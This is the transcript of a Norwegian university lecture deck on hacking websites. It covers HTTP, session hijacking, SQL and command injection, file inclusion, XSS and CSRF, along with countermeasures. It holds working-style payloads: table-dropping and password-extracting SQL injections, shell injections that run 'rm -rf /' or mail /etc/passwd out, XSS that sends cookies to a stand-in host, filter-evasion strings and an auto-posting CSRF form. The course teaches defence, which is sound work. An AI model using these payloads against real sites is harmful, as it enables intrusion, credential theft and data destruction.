Sikkerhet og Hacking. Forelesning 2 Hacking av nettsider. Tom Heine Nätt

Like dokumenter
Sikkerhet og Hacking. Forelesning 2 Hacking av nettsider. Tom Heine Nätt

Innocent Code Kapittel 1: The Basics Kapittel 2: Passing Data to Subsystems

User Input / Output Handling. Innocent Code kap 3-4 INF-329 Øystein Lervik Larsen oysteinl@ii.uib.no 7/11-05

Agenda. Data og grenser Kontekster XSS XSS og kompliserende kontekster Injection attacks Beskyttelse OWASP

Nettsikkerhet. Tom Heine Nätt Høgskolelektor Høgskolen i Østfold tom.h.natt@hiof.no

Sikkerhet i Pindena Påmeldingssystem

Oblig 5 Webutvikling. Av Thomas Gitlevaag

PERSONVERN, GDPR OG COREPUBLISH

Sikkerhet og tilgangskontroll i RDBMS-er

Sikkerhet i Pindena Påmeldingssystem

Universitetet i Oslo Institutt for informatikk. avmystifisert i INF102. Kvile

Sikkerhet i Pindena Påmeldingssystem

Pen- tes'ng av webservices. Asbjørn Reglund Thorsen Gruppe- og utviklingsleder UIO/FSAT

Erlend Oftedal. Risiko og sikkerhet i IKT-systemer, Tekna

Databaser kort intro. Tom Heine Nätt

Sikkerhet og internett. Kan vi være vi trygge? Kan vi beskytte oss? Bør vi slå av nettet

Applikasjonsutvikling med databaser

Tilkobling og Triggere

Prosjekt 3 i sikkerhet og hacking

1. Koble opp mot tjener 2. Send forespørsel. 3. Send respons 4. Lukk forbindelsen. Klient Tjener

Sikkerhet og internett

som blanker skjermen (clear screen). Du får en oversikt over alle kommandoene ved å skrive,

Dette er en demonstrasjonsside som vi skal bruke for å se litt nærmere på HTTP protokollen. Eksemplet vil også illustrere et par ting i PHP.

6105 Windows Server og datanett

6105 Windows Server og datanett

HTML5. Skjemaer på nettsider. Skjemaer med. Informasjonsteknologi 1 og 2. Gløer Olav Langslet Sandvika VGS

Intro til WWW, HTML5 og CSS

Eksamen i Internetteknologi Fagkode: IVA1379

Kontroller at oppgaven er komplett før du begynner å besvare spørsmålene. Gjør dine egne forutsetninger dersom du mener noe er uklart.

Innhold. Innledning... 13

Web fundamentals. Web design. Frontend vs. Backend Webdesign 17. januar Monica Strand

Innledende Analyse Del 1: Prosjektbeskrivelse (versjon 2)

Kap 3: Anvendelser av Internett

Båtforening på nett. Produktrapport

Effektiv Systemadministrasjon

Problem med innlogging til Sauekontrollen Web?

Bruker dokumentasjon Web sikkerhet. Universitet i Stavanger

Compello Invoice Approval

Oblig 5 Webutvikling

file:///c:/users/michaelp/sites/dkdm/dw6/dreamweaver6.html

Prosedyrer. Lars Vidar Magnusson. October 26, Lars Vidar Magnusson () Forelesning i DAS October 26, / 19

Innstallasjon og oppsett av Wordpress

6105 Windows Server og datanett

Kjøre Wordpress på OSX

Brukerveiledning for ArkN4

Forelesning 23/9-08 Webprog 1. Tom Heine Nätt

LAB-L SETTE OPP MICROSOFT SERVER 2003

Et forsøk på definisjon. Eksempel 1

SVARFORSLAG : Eksamen i IBE102 Webutvikling Våren 2017.

Målrettede angrep. CIO forum 6.mars Tore Terjesen Head of MSS & SOCs - Nordics tore.terjesen@secode.com

Et forsøk på definisjon. Eksempel 1

Løsningsforslag til eksamen 24. november 2015

Eksamen i Internetteknologi Fagkode: ITE1526

HØGSKOLEN I SØR-TRØNDELAG

Eksamen i IBE102 Webutvikling Våren 2017.

Database security. Kapittel 14 Building Secure Software. Inf329, Høst 2005 Isabel Maldonado

1. SQL datadefinisjon og manipulering

Operativsystemer og nettverk Løsningsforslag til eksamen Oppgave 1. a) Linux-kommando: java Beregn & b) Shellprogram:

GraphQL. Hva, hvorfor, hvordan

Et forsøk på definisjon

Flytte Lønn 5.0 fra SQL 2000 til SQL 2005 / 2008

Denne rapporten er beregnet for dataansvarlig på Grefsenhjemmet, den som skal installere, vedlikeholde og modifisere systemet.

6105 Windows Server og datanett

- reklamebannere mobil og tablet

Kapittel 11. Databasesikkerhet

6107 Operativsystemer og nettverk

EKSAMEN DATABASER OG WEB Et maskinskrevet notat på maksimalt 2 A4-sider, satt med enkel linjeavstand og skriftstørrelse 12 (eller større).

Oblig 4 Webutvikling. Oppgave

Utvikling av dynamiske nettsteder med PHP og databaser, høsten 2006

Bruk av Domenia Norges AS Webmail

Bruk av NetBeans i JSP-delen av Web-applikasjoner med JSP og JSF

Video om xid er tilgjengelig her:

En bedre verden med AJAX

Brukermanual til Domenia Norges adminløsning

Huldt & Lillevik Ansattportal. - en tilleggsmodul til Huldt & Lillevik Lønn. Teknisk beskrivelse

lagring med HTML5 Offline lagring Offline Informasjonsteknologi 2 Gløer Olav Langslet Sandvika VGS

Siteimprove analytics Tekniske spesifikasjoner

HØGSKOLEN I SØR-TRØNDELAG

Produktdokumentasjon. Madison Møbler Administrasjonsside og Nettbutikk

HTML-del. 1. <!-- ikke slett min kode, vær så snill --> er a) en HTML stil-tag b) en CSS stil-tag c) en HTML kommentar-tag d) en CSS kommentar-tag

Utvikling av dynamiske nettsteder med PHP og databaser, høsten 2006

Produktrapport Gruppe 9

Oppgave 1. Webutvikling. Oblig 5. Sette opp WAMP og Wordpress. Først og fremst må man laste ned WAMP.

MySQL. Historikk. Nedlasting og installasjon

Brukerveiledning for identifisering med BankID

Lønn 5.0. Veiledning for ASP leverandører

Til IT-ansvarlige på skolen

(X)HTML, CSS og JavaScript HTML. Det første dokumentet Grunnleggende programmering i Java Monica Strand 26.

BRUKERHÅNDBOK FOR NETTVERKET

HVA ER XML? extensible Markup Language En standardisert måte å strukturere ulike typer data Åpent format Enkelt:

Eksamen i Internetteknologi Fagkode: ITE1526

Oppgave 1 (Etter forelesning 31/8) Gå gjennom nettsiden arngren.net og list opp alle problemene du ser. Både i funksjonalitet/bruk og i koden bak.

Innføring i bruk av CGI4VB

9. ASP med databasekopling, del II

HØGSKOLEN I SØR-TRØNDELAG

Tjenestebeskrivelse Webhotelltjenester

IT for medisinsk sekretær Fredrikstad Kai Hagali

Entobutikk 3.TESTRAPPORT VÅR 2011

Brukerveiledning for Intelligent Converters MySQL Migration Toolkit IKA Trøndelag IKS 2012

Transkript:

Sikkerhet og Hacking Forelesning 2 Hacking av nettsider Tom Heine Nätt

Hva må en webhacker vite om webben?

Hva må en hacker vite om webben? Internet er ikke det samme som www... IRC, mail, FTP, Torrents osv.. De viktige spesifikasjonene: HTML (/CSS) JavaScript URL (/URI) HTTP(/HTTPS) PHP(/Python) Hvordan teknologien fungerer i detalj Hvordan vi manuelt utfører de operasjonene som programvaren vanligvis gjør

Kilder: RFC-dokumenter De fleste standarder for nettet Protokoller Fremgangsmåter Teknologier Osv.. www.rfc-editor.org Spesielt: http://www.rfc-editor.org/rfcxx00.html F.eks: HTTP: http://www.rfc-editor.org/rfc/rfc2616.txt URL: http://www.w3.org/addressing/rfc1738.txt

Kilder: W3C World Wide Web Consortium Standardiserningsorgan for nyere versjoner av HTML XHTML: http://www.w3.org/tr/xhtml1/

Webteknologier I kortform

HTML Forhåpentligvis alt kjent Definerer: Websiders struktur Aktive elementer (form-tags) Referanser til andre elementer Bilder, video, flash CSS JavaScript Osv Metatags: http://vancouverwebpages.com/meta/metatags.detail.html

URL Uniform Resource Locator Forteller hvor en ressurs er Syntax: scheme://[user@]domene[:port]/filsti/filnavn For eksempel: http://www.hiof.no/index.html ftp://www.site.example/ Schemes: http, https, gopher, ftp, news, mailto, telnet, file osv

URL forts. - Parametere Kan også inneholde parametere Legg til:?param1=verdi1&param2=verdi2 F.eks: http://www.google.no/search?hl=no&client=firefox- a&rls=org.mozilla%3aen- US%3Aofficial&hs=vqd&q=hiof&btnG=S%C3%B8k& meta= URL encoding: Maskere ugyldige tegn i en url slik som: Space => %20 / =>%2F & => %26? => %3F Osv

HTTP Overføringsprotokollen Nettleseren er den aktive parten En tekst -protokoll (line oriented) To forespørsel -formater GET Data sendes gjennom URL POST Data sendes i forespørselspakken Regel: POST dersom det å laste siden har en Bi-effekt som f.eks registrering Ett svarformat RESPONSE Stateless (ikke forbindelsesorientert) Alt er separate forespørsler (f.eks alle bilder) Eksempel: Live HTTP headers (firefox add-on)

HTTP GET GET /index.html HTTP/1.1 Host: www.tomheine.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-us; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q =0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.site.example/news.html

HTTP POST POST /index.html HTTP/1.1 Host: www.tomheine.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-us; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q =0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.site.example/news.html Content-Type: application/x-www-formurlencoded Content-Length: 25 usern=olan&passwd=drossap

HTTP - RESPONSE HTTP/1.x 200 OK Date: Wed, 28 Jan 2009 11:40:30 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch13 Last-Modified: Sat, 24 Jan 2009 14:02:05 GMT Etag: "581e8-2a8-f350d140" Accept-Ranges: bytes Keep-Alive: timeout=15, max=99 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Content-Length: 680 <html> <head>.. </html>

HTTP Interessante detaljer Referer (GET/POST) (Feilstavet ) Forteller hvor brukeren kommer i fra Google: søkeord i parameter Brukes ofte som en kontroll Dumt som vi skal se Sikkerhetshull (hvor kom du fra med hvilke parametere) Response-codes 200, 301, 404, 500 http://www.w3.org/protocols/rfc2616/rfc2616-sec10.html

Verktøy for manuell HTTP Telnet: telnet www.vg.no 80 GET /index.html HTTP/1.1 Host: www.vg.no MERK alle de underlige headerfeltene hos VG 301-svar GET /index.php HTTP/1.1 Host: www.vg.no Firefox: LiveHeaders

HTTPS Enkel forklaring: HTTP over en kryptert kanal Beskytter KUN overføringen av data/headers og mot man-in-the-middle attacks. Følgende skritt foretas: Server/Klient blir enige om krypteringsalgoritme Klienten validerer serverens sertifikat (Serveren validerer klienten) Gjøres (for) sjelden Blir enige om nøkkel

HTTPS-ulemper Brukeren! Gidder ikke bry seg om ugyldige sertifikater Vet ikke hva https-betyr, og kontrollerer det ikke Gir falsk trygghet Mot f.eks phishing-sider Er signeringen av sertifikatet riktig?

Domenenavn og IPAdresser

Domenenavn og IP-adresser DNS-servere står for oversettelsen 1. Vi taster nettadresse 2. Maskinen kontakter sin oppgitte(!!!) DNS 3. DNS svarer med Ip-adresse www.mxtoolbox.com / ping Hva om vi klarte å endre brukerens default DNS???

Modifisere webforespørsler Proxyservere/FirefoxTamper

Proxyservere Brukes som oftest til delte cacher Alle forespørsler går gjennom proxyen Vi kan endre forespørslene før de går videre Forespørslene kan logges Typisk programvare PenProxy Startes: java -jar penproxy.jar 8088 Hva om vi setter opp en proxy i instillingene til en annens maskin? Via virus, fake tutorials eller social engineering Eksempel: Skjult proxy (PenProxy)

Firefox Tamper Plugin til firefox Kan endre all headerinformasjon som sendes ut Eksempel

Cookies/Sessions

Cookies Informasjonskapseler Lagres på brukerens maskin (OBS!) Holder informasjon over flere sider /fra gang til gang Benyttes til: Hvilke annonser er sett Brukerinnstillinger på websider (farge, skriftstørrelse) Spore brukeren rundt på siden Handlekurver SessionID Osv I utgangspunktet kun samme webserver (OBS!) Om ikke path/domain er satt til noe annet

Cookies GET /index.html HTTP/1.1 Host: www.site.example HTTP/1.1 200 OK Content-type: text/html Set-Cookie: sessionid=aadd556ff GET /index2.html HTTP/1.1 Host: www.example.org Cookie: sessionid=aadd556ff.

Cookie Set-Cookie finnes i mer avanserte former: Set-Cookie: sessionid=aadd556ff; expires=fri, 01-Jan-2010 23:59:59 GMT; path=/; domain=.hiof.no HTTPOnly attributten path=/; domain=.hiof.no; HTTPOnly Hindrer f.eks Javascript uthenting

Sessions Kort fortalt: Serveren tildeler alle brukere en temporær ID Serveren lagrer data for en bruker med en viss ID ID en lagres som en cookie hos brukeren Hver forespørsel identifiseres av ID en som er lagret hos brukeren

Session hijacking Man tar over en annen brukers sessjon ved å angi denne brukerens ID som sin egen.. Hvordan få ID? Snappe opp Proxyserver Pakkesniffing Referer-headeren Stjele Lese cookie-filene fra disk Cross Site scripting Gjette Om for eksempel id lages av brukernavn osv.. Eksempel: Bruktbutikk + Firefox Tamper

Session hijacking Firesheep: https://github.com/codebutler/fires heep/downloads

Session hijacking - mottiltak Serveren husker brukers IP Problemer om IP endres ofte Ha en ekstra kontroll på f.eks User- Agent Hvor lenge skal sesjonene være åpne? Blir sesjons-id en generert random, eller basert på brukerinfo osv?

Hvorfor er nettet så sårbart? Hva tror dere?

Hvorfor er nettet så sårbart? Gammel teknologi Nye bruksområder Nye brukere Alt flyttes over på web Tjenester Personlig data Applikasjoner Mange hobbyprogrammerere Finner eksempelkode som ikke fokuserer på sikkerhet, men enkelhet Fornøyd når det funker Alle har tilgang Få forstår det som ligger bak Klarer ikke jeg, klarer ikke andre Sikkerhet er en merkostnad i utvikling

Hvorfor er nettet sårbart? Feiler en webserver, kan den risikere å vise koden Mange kjente feller å gå i Include Opplastning gjestebok Osv.. Glemmer å skille på client-side(usikker) og server-side(sikker) Alt nettleseren kan gjøre, kan man også gjøre manuelt (med endringer)

Hvorfor er nettet så sårbart Masse teite ideer for publisering Løpende artikkelnummer http:/www.firma.example/article.php?id=342323 Lett å skrape informasjon Gjettbare URL er medlems-sider gjennom å f.eks slenge på /member http://www.firma.example/reports/q12009.html Brukerspesifike løsninger http://www.nettbutikk.example/showorder.php?id =534534

Google Hacking Database

Google Hacking Database http://www.hackersforcharity.org/ghdb/ Søk etter felmeldinger osv. Søk etter kjente hyllevare-websider Søk etter tjenester Webkamera osv.

Brukerinput

Brukerinput Whitelisting vs. Blacklisting Hvor havner de tegnene vi ikke har tenkt på Whitelisting mer lett å glemme noe som burde vært lov (JFR: Nätt) Blacklisting er mer arbeid på forhånd, samt blir sjelden oppdatert raskt nok med nye farer som oppdages Hva er best? Usergenerated (inputfelter osv.) og servergenerated (cookies, headerfield osv.) Manipulasjon av servergenerated er helt klart hacking Ikke gi noen feilmelding osv for disse (kun hendelsen er logget ) Ikke gjør brukerens input gyldig, dersom den inneholder feil

Brukerinput Validering Mangel på validering som gir hackere muligheter Teknologier som regexp hindre mye F.eks vil da aldri telefonnummer forårsake SQL-injections Husk at input er mer enn tekst Coockies Hidden fiels Metadata i requests osv.. Mange former for validering Tegn Verdier (domain) Lengde (smart triks..) Gjør inputkontrollen FØRST! NB! Client-side validering!!! Greit for feilmeldinger, men ikke som sperre.

Eksempler på gal input Bestille negativt antall varer Fradato før tildato Osv

Data til undersystemer Stringer som sendes mellom systemer Tolkes som noe annet enn tekst i ett av systemene Fra bokstaver til kontrolltegn/metadata Problemet er når brukeren kan manipulere disse strengene

Data til undersystemer Flere teknikker Parametermanupilasjon SQL-injections Command-inejctions Cross-site scripting Osv..

Parametermanupilasjon

Parametermanupilasjon GET-request mellom sider Ofte uskyldige data i utgangspuntket Vi kan gå inn å endre parameterne i URL en Mange sider leser kun REQUEST Altså skiller ikke på POST og GET Kan benyttes til: Lure andre Lure systemet

Parametermanupilasjon: Google http://www.google.no/search? hl=no&q=hiof&btng=googles%c3%b8k&meta=&aq=f&oq= hl-verdier: fr en xx-elmer xx-klingon osv..

Parametermanupilasjon: SA-været http://www.sa.no/vis/vaeret/?city=sarpsborg& longitude=11.11&latitude=59.28&moh=50

Parametermanupilasjon Andre eksempler Hiofs-publiseringssystem Canadiske passsystemet Alle former for overføring av info mellom sider Registreringsystem Nettbutikker Popupvinduer

SQL-Injection

SQL-Injections Problemet: SQL er tekststrenger i programmering Bygges sammen, og sendes til DB.. Tenk: INSERT INTO Test VALUES( Per ); INSERT INTO Test VALUES( Per s bakeri );

Typisk Kode <?php $fornavn=$_get[ fornavn ]; $etternavn=$_get[ etternavn ]; $sql = INSERT INTO Test VALUES(.$fornavn.,.$etternavn. ) ; mysql_query($sql,$con);?>

SQL-Injection Eksempel 1 Turid SELECT kolonne FROM tabell WHERE kolonne2=' '; '; DELETE FROM tabell WHERE kolonne2!= '

SQL-Injection Eksempel 2 per test SELECT * FROM user WHERE username= ' AND password=' '; per -- ' OR ''=' per OR 1 = 2 Altså En setning to svakhter (Husk AND har høyere presedens enn OR)

SQL-Injection Eksempel 3 45 SELECT * FROM Bruker WHERE ID = 45; DROP TABLE Bruker

SQL-Injection Eksempel 4 SELECT id, produktnavn, pris FROM Produkt WHERE ID = 45 45 UNION SELECT 0, brukernavn, passord FROM Login Typisk: $_GET[ varenummer ]

SQL-Injection Eksempel 5 SELECT id, produktnavn, pris FROM Produkt WHERE ID = 45 45; UPDATE Produkt SET produktnavn = (SELECT passord FROM Kunde WHERE brukernavn= olehansen ) WHERE id=45

SQL-Injection Eksempel 6 SELECT id, produktnavn, pris FROM Produkt WHERE ID = 45 45; SHUTDOWN

SQLinjections - Eksempler loginsql.php sokesql.php

SQL-Injection Vi kan også benytte tegnkoder for databasen Overses ofte av filtreringer i programmeringsspråket F.eks: Char(39) => 0x27 =>

SQL-Injections Hvordan kjenne strukturen på spørringen Gjettninger/resonement Fremprovosere feilmeldinger F.eks: ugyldige injection -forsøk Om man er heldig vises hele kodelinja med SELECT-setningen HAVING/GROUP BY trikset Vil avsløre kolonnenavn Brute Force Få tak i kildekoden

SQL-Injections Hvordan forhindre: Benytte lagrede prosedyrer Sende variabler(med typer), istedenfor tekst til DB Prepared statements SELECT * FROM Kunde WHERE name=? Escape farlige tegn F.eks blir til \ eller Blacklisting vs. Whitelisting Sette rettigheter Ingen av disse er 100% sikre Alle prog. språk/db har sine feil Fort gjort å stole helt på dette

Sikkerhet og DB Vær ytterst forsiktig med å ha brukerinfo i kildekoden Andre autentiseringskilder Innlogging Sertifikater Tjenesteserver La mest mulig av prosesseringen foregå i DBMS. Prosedyrer SQL-prosessering (hent ut minst mulig data ) Pass på serverscript... Kan komme i gale hender ved serverfeil.. Unngå "sqlzoo.net"-bokser Utfør aldri DB-administrative oppgaver direkte fra appl. Skjul mest mulig spor av db i feilmeldinger og resultater

Command Injection

Command Injection Tilsvarende som SQL-Injection, men at vi kjører systemkommandoer i webscriptene F.eks: *.txt echo `ls `; *.txt; rm rf /

Command Injection 10 echo `cal `; 10; sendmail test@test.com < /etc/passwd; 10; cat adjø > /var/log/apache2/access_log

Filopplasting

Filopplasting Om filene senere presenteres på websiden.. Hva med: Å laste opp minfil.php (minfil.php%00.jpg) Eksempel: filopplasting.html

Inkludering av filer

Inkludering av filer Typisk: index.php?side=test.php index.php?side=/etc/passwd Fare for at brukeren kan få Se systemfiler Se programkoden Uendelig mange måter å lure slike script på om man ikke har en whitelist-chek F.eks %00-tegnet eller \0 (null-byte) Eksempel: include1.php, include2.php, include3.php

Cross-site scripting (XSS)

Cross-site scripting (XSS) Baserer seg på websider der bruker skriver inn data, som senere presenteres på en webside Gjestebøker Blogger (kommentarfelt) Annonsemarked Nettleksikon Mer riktig definisjon: Lure en webside til å vise utvalgte HTML-koder Evt URL-parametere Baserer seg på at (HTML/)JavaScript er tekst Og alt for mange måter å skrive JS-kode på

XSS-eksempel Eksempel: artikel.php

XSS Benyttes til Vise uheldig data Endre data som vises Stjele cookies fra brukerne Session hijacking Utnytte sikkerhetshull i nettlesere Endre hvor forms sender data Osv

XSS - Eksempler Artikkel.php Gjestebok.php

XSS Vanlig kode <!-- (skjuler resten av innleggene osv) <script>window.open( http://www.hacking.example/ ) </script> Legg til: for(i=0;i<1000;i++) <script>document.location.replace( url )</script> <script>document.body.innherhtml.replace( noe, noe annet )</script> F.eks kontonummeret på siden til et firma

XSS Hvordan skjule <script src=http://www.hacker.example/script.js> ><script> </script><q q= Dersom: <input type= text value= > <sc<script>ript>.</sc<script>ript> Dersom noen filtrerer for <script> +ADW-script+AD4- +ADW-/script+AD4- Ascii/unicode fare Viktig å angi tegnsette i meta-taggen Se http://ha.ckers.org/xss.html for flere/andre..

XSS Session hijacking document.location.replace( http://example.test.c om/test.php?info= + document.cookie); Eksempel: bruktmarked Eksempel: Søkeboks (web/index.php) Her kan man redirecte tilbake igjen til riktig side, samt sette en cookie som gjør at man ikke blir redirected i en uendelig løkke Hva om vi gjør dette i en IFrame?

Måter å skrive JavaScript på <script> </script> <a href= javascript: > Også for <img src= > <body onload= > onclick, ondbclick,onmousedown, onkeypress osv.. + mange flere browserpesifike

XSS og URL -parametere Dersom en url-parameter vises på en webside. http://www.test.example/greeting.php?name= Tom%20Heine<script>osv..</script> Krever at vi lurer brukeren å gå inn på den bestemte URL en.. Eksempel: greeting.php F.eks endre søkeresultater i et telefonkatalogoppslag

XSS og Mail Alle nyere web-mailklienter leser HTML-mail Og er derfor utsatt for XSS

XSS - mottiltak Filtrere bort alle farlige tegn (html encoding/entities): & => & => " < => < > => > => &#39; Uansett nyttig.. Ikke bare for XSS tenk brukerinput med f.eks: > Filtrere bort enkelte tagger Omtrent umulig å få riktg/tenke på alle muligheter Uendelig mange variasjoner på skrivemåter nettelsere er for snille Benytte ferdige editorer som gjør jobben Skru av JS i nettleser umulig løsning Kan være en idee å også filtrere under output For å være sikker på å få med alt Etter prossesering

Manipulasjon av websider FireBug

Firebug Legge til valg i lister Fjerne/disable Javascript kontroller Legge til/endre hidden -felter

Firebug-eksempler/server generert data F.eks kontooversikt... <form action= vis.php metohd= get > Konto: <select name= konto > <option value= 1111.22.33333 >Konto 1</option> <option value= 4444.55.66666 >Konto 2</option> </select> </form> Eksempel: regskjema.php

Logging

Logging Alt man gjør logges Ofte usikkerhetsmomentet ved et angrep Er den angrepnes beste Bevis Metode for å tette hull Metode for å oppdage angrepet Får man tilgang til loggfilene, kan de bli nyttig verktøy Prøve noe, se på resultat

Dos-angrep

DoS angrep For mange forespørsler For mye data F.eks laste opp kjempefil Forespørsler som setter i gang kompliserte operasjoner ugyldige verdier Utnytte feil i programkode Evige løkker Forespørsler som er umulige å skille fra ekte

Web-Trojaner

Web-Trojaner Også kjent som CSRF /XSRF Cross-site request forgery Lure noen inn på en webside ( med visse parametere satt) Email spoofing, XSS, Phishing osv. Spesielt nyttig når en bruker alt er innlogget på en tjeneste Evt. En remember me -sak Eksempler på bruk: Lure til kjøp av aksjer http://megler.example/buy.php?paper= NHY.OL &amount=40000&pric e=100 Lure noen til å legge deg til som facebookvenn http://www.facebook.com/addfriend.php?userid=3423233 (ikke autentisk) Poste på din facebook-side http://www.facebook.com/addmessage.php?message=jeg er en gjøk (ikke autentisk) Linkene kan også se vennlige ut, men med redirect http://www.humor.test/image111.html

Web-Trojaner - Hvordan Via GET-URL Kan være en normal URL med redirect til f.eks http://example.com/test.php?param=... Via Autopost-form-sider (POST) <form name= test action= method= post > <input type= hidden name= param value= > </form> <script> document.getelementbyid( test ).submit()</script>

Web-Trojanere - Løsninger Et nytt kjempeproblem! Eksempel: autopost.html/ kulside.html Eksempel: CSRF-hiof (web/index.php) Mottiltak: Bekreftelse med passord/passordkalkulatorer Captchas Ticket/FormID-løsninger Men: Frame-løsninger (en for virkelige siden som er usynlig, en med fakesiden og samme id)

Flash-animasjoner

Flashanimasjoner Flash-animasjoner kaller ofte skjulte URL er med artige parametere Annen type programmerere Tenker at dette er jo hemmelig fordi binært Highscore: sethighscore.php?name=thn&score=5600 Mottiltak Generere med en hemmelig sjekksum/passord basert på navn/score sethighscore.php?name=thn&score=5600&check= AE3432DDF32 Julekalender: submit.php?name=tom%20heine&email=tom.h.nat t@hiof.no&luke=14

Automatisk skraping

Automatisk skraping Man kan lett tømme en website for informasjon via programvare som skraper all data Eksempel: vgnet.php Eksempel: Tele2-saken

Finne skjulte data Robots.txt Disallow Nummererte artikkler Google-søk med site:

Bakveien

Bakveien De aller fleste websider kan nåes via FTP og SSH FTP sender passord i klartekst Kommer vi inn her, kan vi både se og modifisere kode

Andre triks

Andre triks Rekkefølge som f.eks REQUEST søker i Hva om GET før POST? PHP sin autovariabelmapping Eksempel: register_globals.php Kun om server er satt opp rart

Andre triks Edit-sider ID som skal oppdateres er et hidden field.. Se etter kommentarer i HTMLkildekoden Mange kommenterer f.eks PHP med <!- -og -->

Andre triks Inputvalidering på første side så hidden-felter på videre sider Data er innom brukeren flere ganger, men valideres ofte bare første gang Typisk: Bestillingssider Link-CSS JS: getcomputedstyle() <= Avslører history

Andre triks God samleside med Firefox-utvidelser for hackere http://timtux.net/articles/turning+firefox+into+a+ Web+Application+Assault+Kit Lost password Sender passord i klartekst via mail Passordinlogging: DoS-angrep: Bruk opp alle 3 forsøk på alle brukere Alt for mange sider autentiserer bare tilgang på form en, og ikke det som sendes inn Vi kan derfor lage vår egen form og sende inn data uten å egentlig ha tilgang, om vi vet hvordan formen ser ut

Andre triks GET-URL er som er sendt over HTTP er synlig i Historikken Logger Routere ISP Wiretapping Osv.. Obs: Hemmelig data i GET-requests (f.eks session ID) Synelig som Referer-metadata på neste side.. OBS!!!! Derfor: Aldri gå fra en sikker til en usikker side direkte!

Andre triks Mange benytter encoding som encryption.. F.eks BASE64 Sikker side, som sender opplysningene til deg som mail etterpå Websider viser ofte ukjente filformater som tekst http://www.test.example/index.ph%70 Sikkerhetshull i Webserverne

CMS-systemer

CMS-systemer Baserer seg på?id=4844 prinsippet Mye brukt = kjente exploits Standardkontoer

Sikker kode

Hvordan skrive sikker kode Ikke tro at ingen kan hacke, fordi det bak er skjult F.eks tabellnavn, filstruktur osv Aldri dupliser kode Benytt funksjoner Isoler funksjonalitet Benytt funksjoner Skriv forstårlig/enkel kode Benytt funksjoner Kommenter kode Eller skriv selvforklarende kode Lær deg programmeringsspråkets særegenheter.. Vær flink til å logge hendelser med mye info

Til neste gang (21/2) Prosjekt 2 Les Art of Deception -boka Samle på SPAM